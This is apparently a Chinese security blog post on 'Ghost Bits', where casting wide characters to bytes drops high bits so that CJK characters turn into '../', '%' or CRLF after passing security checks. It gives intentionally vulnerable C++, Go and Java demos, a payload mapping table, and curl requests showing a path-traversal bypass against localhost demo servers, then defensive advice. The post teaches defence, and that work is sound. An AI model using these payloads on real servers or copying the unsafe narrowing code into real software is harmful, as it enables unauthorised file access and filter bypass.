Ghost Bits(幽灵比特):被强制类型转换\"吃掉\"的高位
原创
哈啰信息安全
哈啰信息安全
哈啰安全应急响应中心 HSRC
2026年6月23日 15:27
上海
在小说阅读器读本章
去阅读
Ghost Bits(幽灵比特):
被强制类型转换\"吃掉\"的高位
一种由「宽字符 → 窄字节」强制类型转换截断引发的新型攻击面;
参考议题:
BlackHat Asia 2026《Cast Attack — A New Threat Posed by Ghost Bits in Java》(Xinyu Bai / Zhihui Chen)
参考链接:https://jishuzhan.net/article/2049323746595504129
配套代码:
ghostbitscppdemo.cpp、
GhostBitsGoDemo.go、
GhostBitsJavaDemo.java、
SimpleHttpServer.java
01.
一句话概括
很多语言里\"字符\"是多字节的(Java/JS 的 char 是 16 位、Go 的 rune 是 32 位、C++ 的wchar\_t 是 16/32 位),但大量代码在把\"字符\"写成\"字节\"时,只保留了最低 8 位,悄悄丢弃了高位。这些被丢弃的高位就是 Ghost Bits(幽灵比特)。
后果是:一个在字符层面看起来人畜无害的输入(比如几个中文字),在被截断成字节之后,
会变成攻击者真正想要的 ASCII 序列(../、%、\r\
、@ 等),从而绕过所有基于字符串的安全校验。
售(U+552E) --- 只取低8位 ---> 0x2E = '.'唯(U+552F) --- 只取低8位 ---> 0x2F = '/'
于是 售售唯这三个中文字符,在通过了\"是否包含 ../\"的检查之后,被截断成了真正的../。
02.
根因:char 是 16 位,
byte 只接受 8 位
以 Java 为例,char 是 16 位的 UTF-16 码元,而 byte 是 8 位。
当代码执行下面这些操作时,高 8 位会被静默丢弃:
char ch = '售'; // U+552E, 二进制 0101 0101 0010 1110byte b = (byte) ch; // 只剩 0010 1110 = 0x2E = '.'
这种\"位坍缩(bits collapse)\"在很多看似无关的 API 内部都会发生。BlackHat 议题中给出的常见 Ghost Bits sink:
不仅是 Java,任何存在\"宽 → 窄\"转换的语言都可能中招(C/C++ 的 wchar\_t→char、Go 的 rune→byte、
Python 早期的字节/字符串混用等)。
03.
攻击字符速查表
利用\"低 8 位等于目标 ASCII\"的原理,可以为任意危险字符寻找一个\"马甲\"。下表是 Demo 中用到的字符:
同一个 ASCII 可以有成百上千个\"马甲\"字符,这正是 Ghost Bits 难以被 WAF 黑名单覆盖的原因。
04.
Ghost Bits 的多形态(Polymorphism)
同一个底层缺陷,可以打出完全不同的攻击效果:
- 路径穿越 / 任意文件读取:售售唯 → ../
- 认证绕过:穿越到受保护资源(Openfire)
- WAF 绕过:让 WAF 看到\"乱码\",让后端解码出真实 payload(BCEL、Jackson、Fastjson、Tomcat 上传、GeoServer)
- 请求走私 / 响应拆分(CRLF):瘍瘊 → \r\
(Apache HttpClient、JDK HttpServer) - 协议注入(SMTP):在邮件地址里注入 \r\
劫持邮件会话(Angus Mail / Jira / Confluence) - XSS:把 \r\
注入到响应头,拆出 HTML 正文
05.
代码示例讲解
仓库内提供了 4 个可直接运行的 Demo,分别从\"概念演示\"到\"真实 HTTP 场景\"层层递进。
5.1 C++ 概念演示 —— ghostbitscppdemo.cpp
演示 wchar\_t → char 的截断:宽字符串校验 L\"..\" 通过,截断后却变成 ../。
g++ -std=c++17 ghostbitscppdemo.cpp -o ghostbits_demo./ghostbits_demo
运行输出:
[+] 攻击输入(宽字符显示): gb_public/售售唯gb_secret.txt 宽字符检查 (是否含 L\"..\"): 通过 [误判为安全][!] 窄化后真实路径: gb_public/../gb_secret.txt bytes: gb_public/../gb_secret.txt[*] 读取文件内容:🔒 机密内容: TOP-SECRET-FLAG{ghost_bits_cpp}
关键代码:
// 安全检查只看宽字符里有没有 L\"..\"boolisSafeWide(conststd::wstring& path){ return path.find(L\"..\") == std::wstring::npos;}// 不安全的窄化:static_cast<char>(wc) 丢弃高位 —— Ghost Bitsstd::stringwideToNarrowUnsafe(conststd::wstring& ws){ std::string result; for (wchar_t wc : ws) result.push_back(static_cast<char>(wc)); return result;}
5.2 Go 概念 + 服务演示 —— GhostBitsGoDemo.go
演示 rune → byte 的截断。程序默认运行自检模式(执行后自动退出),也可加 serve 参数启动 HTTP 服务。
# 自检模式:直接复现攻击链go run GhostBitsGoDemo.go
# 服务模式:启动 HTTP 服务(:8080)go run GhostBitsGoDemo.go serve
自检输出:
=== Ghost Bits Go 自检演示 ===[+] 攻击输入(rune): gb_public/售售唯gb_secret.txt isSafePath(含\"../\"?): false 安全检查通过(误判为安全)[!] 窄化后路径: gb_public/../gb_secret.txt (bytes: gb_public/../gb_secret.txt)[+] 越权读取成功,内容: 🔒 机密数据: TOP-SECRET-FLAG{ghost_bits_go}
服务模式下的攻防对比(已实测):
# 字面量 ../(URL 编码)→ 被拦截curl 'http://localhost:8080/read?file=%2e%2e%2fgb_secret.txt'# => 路径包含 ../,拒绝访问
# Ghost Bits 售售唯(UTF-8 编码)→ 绕过,读取机密curl 'http://localhost:8080/read?file=%E5%94%AE%E5%94%AE%E5%94%AFgb_secret.txt'# => 🔒 机密数据: TOP-SECRET-FLAG{ghost_bits_go}
关键代码:
func narrowUnsafe(s string)string{ b := make([]byte, 0, len(s)) for _, r := range s { b = append(b, byte(r)) // 🚨 Ghost Bits:rune(int32) 截断为 byte(uint8) } returnstring(b)}
5.3 Java 演示(Spring CVE-2025-41242 思路)
—— GhostBitsJavaDemo.java
复现议题中最精彩的 payload 阮严灵丰丰甲来。它在 char 层面不含 .//../,通过 Spring 的 isInvalidPath;
截断后变成 .%u002e;底层 Jetty 支持 %u 解码,把它归一化成 ..,从而形成穿越。
javac -encoding UTF-8 GhostBitsJavaDemo.javajava GhostBitsJavaDemo
运行输出:
=== Ghost Bits Java 演示 (Spring CVE-2025-41242 思路) ===[+] 原始载荷(char): 阮严灵丰丰甲来[1] isInvalidPath 检查: false (通过-误判为安全)[2] 截断后(uriDecode): .%u002e bytes: .%u002e[3] 服务器归一化: \"/.%u002e/\" -> \"/../\"[4] 最终穿越路径: /static/../WEB-INF/application.properties 规范化后实际访问: /WEB-INF/application.properties
payload 的\"炼金术\"(每个字截断后拼出 .%u002e):
阮 U+962E -> 0x2E'.' 严 U+4E25 -> 0x25'%' 灵 U+7075 -> 0x75'u'丰 U+4E30 -> 0x30'0' 丰 U+4E30 -> 0x30'0' 甲 U+7532 -> 0x32'2' 来 U+6765 -> 0x65'e'
双重解析(Double Parsing)是核心:Spring 在 char 层只看到无害的中文(静态防御绿灯),
Jetty 在物理层把截断 + 归一化后的 .. 当作真实穿越执行。两者对同一份输入的\"理解\"不一致,就是漏洞。
5.4 真实 HTTP 场景 —— SimpleHttpServer.java
一个极简静态文件服务器,显式禁止了 ../,看起来很安全,但内部用了 Ghost Bits sink
StringBufferInputStream.read()(已废弃,read() 只返回 char 的低 8 位)。
javac -encoding UTF-8 SimpleHttpServer.javajava SimpleHttpServer
攻防对比(已实测):
# 1) 正常访问公开文件curl 'http://localhost:8080/?file=test.txt'# => bbbbb
# 2) 字面量 ../(URL 编码)→ 被安全检查拦截curl 'http://localhost:8080/?file=%2e%2e%2fghostbits_secret.txt'# => Forbidden: Path traversal (../) is not allowed
# 3) Ghost Bits 售售唯 → 绕过检查,越权读取 public 之外的机密文件curl 'http://localhost:8080/?file=%E5%94%AE%E5%94%AE%E5%94%AFghostbits_secret.txt'# => 🔒 机密文件: TOP-SECRET-FLAG{ghost_bits_http_server}
漏洞点(截断 + 缺少穿越后校验):
// URL 解码后得到 \"售售唯...\",不含字面量 \"../\",通过安全检查if (decodedFile.contains(\"../\") || decodedFile.contains(\"..\\\\\")) { /* 403 */ }
// 🚨 StringBufferInputStream.read() 把 char 截断为 byte:售售唯 -> \"../\"byte[] processedName = new byte[decodedFile.length()];try (StringBufferInputStream sbis = new StringBufferInputStream(decodedFile)) { int idx = 0, b; while ((b = sbis.read()) != -1 && idx < processedName.length) processedName[idx++] = (byte) b;}File targetFile = new File(baseDir, new String(processedName)).getCanonicalFile();// ❌ 缺少\"targetFile 是否仍在 baseDir 之内\"的校验 —— 穿越得逞
06.
真实世界漏洞案例
(议题节选)
convertHexDigit 中 >(0x3E)为何等于 E:0x3E & 0x1F = 0x1E = 30,再 30 - 16 = 14,
十进制 14 即十六进制 E。高位在位运算中被\"坍缩\"掉了,这就是 Hex 解码里的 Ghost Bits。
07.
为什么 %2> 比传统 %u002e 更危险
08.
防御建议
给开发者:
- 永远不要用 (byte) ch、ch & 0xff 这类操作直接把字符转字节。处理文本统一走显式编码:
str.getBytes(StandardCharsets.UTF\_8),并在转换前校验字符是否在合法范围(如 ASCII 0–127)。 - 远离废弃 API:StringBufferInputStream、DataOutputStream.writeBytes(String)、String.getBytes(int,int,byte[],int) 等。
- 安全校验要放在最终使用形态上,而不是中间字符串形态。路径穿越的正确兜底是规范化后做目录归属校验:
File base = new File(BASE_DIR).getCanonicalFile();File target = new File(base, userInput).getCanonicalFile();if (!target.toPath().startsWith(base.toPath())) { thrownew SecurityException(\"path traversal\");}
- 邮件地址、HTTP 头等字段,注入前必须过滤 \r \
及非 ASCII 控制字符。
给安全团队 / 厂商:
- 检测应面向 sink(如上表)做污点分析,而非仅靠黑名单匹配字符串。
- 在 WAF / 网关侧对非 ASCII 字符、可疑 %u / %x / 半字节编码做归一化后再检测。
- 注意\"双重解析\":前置代理与后端对同一输入的解码必须保持一致。
给组织:
- 主动排查产品中潜藏的 Ghost Bits sink,在被攻击者发现之前修复这些\"休眠\"风险。
09.
结语
Ghost Bits 不是某一个 CVE,而是一类贯穿编码、解码、I/O 的系统性缺陷。
只要\"宽 → 窄\"的转换还在静默丢位,安全校验与实际执行之间就存在认知鸿沟。
正如议题所说:This is just the beginning —— 我们才刚刚触及这个攻击面的表层。
---附件中的文件如有需要可关注公众号并在公众号中留言
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论